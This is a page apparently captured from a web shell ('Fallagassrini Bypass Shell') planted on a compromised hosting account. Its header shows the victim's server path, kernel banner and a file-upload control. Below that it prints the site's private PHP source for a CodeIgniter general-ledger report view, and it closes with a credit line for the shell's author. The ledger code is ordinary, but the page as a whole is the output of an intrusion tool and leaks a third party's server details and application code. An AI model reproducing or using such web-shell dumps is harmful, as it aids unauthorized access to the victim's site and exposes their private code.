? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/accounting/xls_general_ledger.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); 
if(!$company)
    $images=base_url() .'assets/logo/default_header.jpg';
else
{
    foreach($company as $company)
    {
        $loggo=$company['logo'];
        $images=base_url() .'assets/logo/'.$loggo;
//        echo $images;
    }
}

$html ='';
$image = '<img src="'.  $images.'" width="285px" height="100px">';
$bullet = '<img src="'.base_url().'/assets/img/li_bullet.jpg" align="bottom">';
$html.='
<html>
    <head>
    </head>
    <body style="margin: 20px 20px 30px 20px;">
        <table width="100%" border="0" cellpadding="2" cellspacing="2">
            <tbody>
                <tr>
                    <td colspan="2" align="left">'.$image.'</td>
                </tr>
            </tbody>   
        </table><br/>';
        $html.='
        <div style="text-align:center">
            <b><u>'.$heading.'</u></b> 
        </div><br/><br/>';

        $html.='
        <table>
            <tr>
                <td>Period : '.$date1.' to ' .$date2.'</td>
            </tr>';

            if(!empty($rfrom) && !empty($rto))
            $html.='
            <tr>
                <td>Range From : '.strtoupper($rfrom).' to ' .strtoupper($rto).'</td>
            </tr>';

        $html.='</table>';

$html.='<br/><hr>';
$html.='<table  cellspacing="-1" style="width:100%;text-align:left">';



$i = 1;


$balance = 0;
$totdebit = 0;
$totcredit = 0;
$totdebit1 = 0;
$totcredit1 = 0;
$totalbalance = 0;
$totbal = 0;
$opentr = 1;
$tempopen = 1;
foreach ($result as $rep) {


    $tdate = $rep['tran_date'];
    $credit = $rep['credit'];
    $debit = $rep['debit'];
    $memo = substr($rep['memo'], 0, 8);
    $accountcode = $rep['account'];
    $accountname = $rep['account_name'];
    if ($sub == 'false') {
        $opendet = $this->accountingmodel->opening_maintrail_balance($accountcode, $date1, $date2);
    } else {
        $opendet = $this->accountingmodel->opening_trail_balance($accountcode, $date1, $date2);
    }


    $opencredit = 0 - $opendet->opencredit;
    $opendebit = $opendet->opendebit;
    $openbaln = $opendebit - $opencredit;
    $tdate = $this->mastermodel->convdatformat($rep['tran_date']);
    $refs = $rep['reference'];
    $balance+=($debit - $credit);

    $totalbalance+=($debit - $credit);


    if ($opentr == 1) {
        $tempaccname = $rep['account_name'];
        if ($openbaln < 0) {
            $newopenbal = abs($openbaln);
            $sfx = 'Cr';
        } else if ($openbaln > 0) {
            $newopenbal = $openbaln;
            $sfx = 'Dr';
        } else {
            $newopenbal = 0;
            $sfx = '';
        }
        $balance+=$openbaln;
        $totalbalance+=$openbaln;
        $totdebit1 = $opendebit;
        $totcredit1 = $opencredit;
        $totdebit = $opendebit;
        $totcredit = $opencredit;
        $html.='<tr style="font-weight:bold">
                     
                      <td colspan="6">' . $accountcode . '&nbsp;&nbsp;' . ucfirst(strtolower($accountname)) . '</td>
                     
                  </tr>';
        $html.='<thead><tr>
            <th style="text-align:left;width:15%">Transaction No</th>
            <th style="text-align:left;width:15%">Date</th>
            <th style="text-align:left;width:30%">Narration</th>
            <th style="text-align:right;width:13%">Debit</th>
            <th style="text-align:right;width:13%">Credit</th>
            <th style="text-align:right;width:14%">Balance</th>
      </tr></thead>';
        $html.='<tr style="font-weight:bold">
                     
                      <td colspan="2"></td>
                      <td style="width:30%">Opening Balance</td>
                      <td style="text-align:right;width:13%">' . number_format($opendebit, '2') . '</td>
                      <td style="text-align:right;width:13%">' . number_format($opencredit, '2') . '</td>
                      <td style="text-align:right;width:14%">' . number_format($newopenbal, '2') . '&nbsp;' . $sfx . '</td>

                  </tr>';
    }
    $opentr = 2;
    if ($tempaccname != $accountname) {
        $tempaccname = $rep['account_name'];
        // if($tempopen==1)
        ///  {
        if ($openbaln < 0) {
            $newopenbal = abs($openbaln);
            $sfx = 'Cr';
        } else if ($openbaln > 0) {
            $newopenbal = $openbaln;
            $sfx = 'Dr';
        } else {
            $newopenbal = 0;
            $sfx = '';
        }
        $balance+=$openbaln;
        $totalbalance+=$openbaln;

        $totbaltemp = $totdebit1 - $totcredit1;
        if ($totbaltemp > 0) {
            $newtbalancetemp = $totbaltemp;
            $sfx = 'Dr';
        } else if ($totbaltemp < 0) {
            $newtbalancetemp = abs($totbaltemp);
            $sfx = 'Cr';
        } else {
            $newtbalancetemp = 0;
            $sfx = '';
        }


        $html.='<tr style="font-weight:bold;">
                 <td colspan="6" style="border-top:1px solid"></td>
                </tr>';

        $html.='<tr style="font-weight:bold">
                 
                  <td colspan="2">' . $acctitle . '</td>
                  <td style="width:30%"></td>
                  <td style="text-align:right;width:13%">' . number_format($totdebit1, '2') . '</td>
                  <td style="text-align:right;width:13%">' . number_format($totcredit1, '2') . '</td>
                  <td style="text-align:right;width:14%">' . number_format($newtbalancetemp, '2') . '&nbsp;' . $sfx . '</td>
              </tr>';
        $html.='<tr style="font-weight:bold;">
         <td colspan="6" style="border-top:1px solid"></td>
        </tr>';
        $html.='<tr style="font-weight:bold">
                  
                  <td colspan="6">' . $accountcode . '&nbsp;&nbsp;' . ucfirst(strtolower($accountname)) . '</td>
                  
             </tr>';
        $html.='<tr>
            <th style="text-align:left;width:15%">Transaction No</th>
            <th style="text-align:left;width:15%">Date</th>
            <th style="text-align:left;width:30%">Narration</th>
            <th style="text-align:right;width:13%">Debit</th>
            <th style="text-align:right;width:13%">Credit</th>
            <th style="text-align:right;width:14%">Balance</th>
      </tr>';
        $html.='<tr style="font-weight:bold">

                  <td colspan="2"></td>
                  <td style="width:30%">Opening Balance</td>
                  <td style="text-align:right;width:13%">' . number_format($opendebit, '2') . '</td>
                  <td style="text-align:right;width:13%">' . number_format($opencredit, '2') . '</td>
                  <td style="text-align:right;width:14%">' . number_format($newopenbal, '2') . '&nbsp;' . $sfx . '</td>

             </tr>';

        $totdebit1 = $opendebit;
        $totcredit1 = $opencredit;

        $totdebit+=$opendebit;
        $totcredit+=$opencredit;

        $balance-=$newbalance;
        //}
        // $tempopen=2;
    }


    if ($balance > 0) {
        $newbalance = $balance;
        $sfx = 'Dr';
    } else if ($balance < 0) {
        $newbalance = abs($balance);
        $sfx = 'Cr';
    } else {
        $newbalance = 0;
        $sfx = '';
    }
    if (empty($debit) && empty($credit)) {
        continue;
    }
    $html.='<tr style="color:#555555">
           <td  style="width:15%">' . $refs . '</td>
           <td  style="width:15%">' . $tdate . '</td>
           <td  style="width:30%">' . $memo . '</td>
           <td style="text-align:right;width:13%" >' . number_format($debit, '2') . '</td>
           <td style="text-align:right;width:13%" >' . number_format($credit, '2') . '</td>
           <td style="text-align:right;width:14%" >';


    $html.='' . number_format($newbalance, '2') . '&nbsp;' . $sfx . '</td>
                       </tr>';

    $i++;

    $totdebit1+=$debit;
    $totcredit1+=$credit;

    $totcredit+=$credit;
    $totdebit+=$debit;
}
$totbal = $totdebit1 - $totcredit1;
if ($totbal > 0) {
    $newtbalance = $totbal;
    $sfx = 'Dr';
} else if ($totbal < 0) {
    $newtbalance = abs($totbal);
    $sfx = 'Cr';
} else {
    $newtbalance = 0;
    $sfx = '';
}

if ($totalbalance > 0) {
    $newtotalbalance = $totalbalance;
    $sfx11 = 'Dr';
} else if ($totalbalance < 0) {
    $newtotalbalance = abs($totalbalance);
    $sfx11 = 'Cr';
} else {
    $newtotalbalance = 0;
    $sfx11 = '';
}
$html.='<tr style="font-weight:bold;">
            <td colspan="6" style="border-top:1px solid"></td>
             </tr>';
$html.='<tr style="font-weight:bold">
                  
                   <td colspan="2">' . $acctitle . '</td>
                   <td style="width:30%"></td>
                   <td style="text-align:right;width:13%">' . number_format($totdebit1, '2') . '</td>
                   <td style="text-align:right;width:13%">' . number_format($totcredit1, '2') . '</td>
                   <td style="text-align:right;width:14%">' . number_format($newtbalance, '2') . '&nbsp;' . $sfx . '</td>
            </tr>';


$html.='<tr style="font-weight:bold;">
         <td colspan="6" style="border-top:1px solid"></td>
        </tr>';
$html.='<tr style="font-weight:bold">
                <td style="width:15%"></td>
                <td style="width:15%"></td>
                
                <td style="width:30%" >Total Debit/Credit</td>
                <td style="text-align:right;width:13%">' . number_format($totdebit, '2') . '</td>
                <td style="text-align:right;width:13%">' . number_format($totcredit, '2') . '</td>
                <td style="text-align:right;width:14%">' . number_format($newtotalbalance, '2') . '&nbsp;' . $sfx11 . '</td>

        </tr>';

$html.='</table>';
$html.='<hr>';
$footer ="";
$html.='<script type="text/php">

  if ( isset($pdf) ) {
 $font = Font_Metrics::get_font("verdana", "normal");

  $pdf->page_text(75, 570, "' . $footer . 'Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));

  }
  </script>';

$html.='</body></head></html>';
//echo $html;die();
$fname=$file_name;
if ($reportin == 'pdf')
    pdf_create($html, $fname, 'true');
else {

    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=" . $fname . ".xls");
    header("Pragma: no-cache");
    header("Expires: 0");
    print $html;
    exit;
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net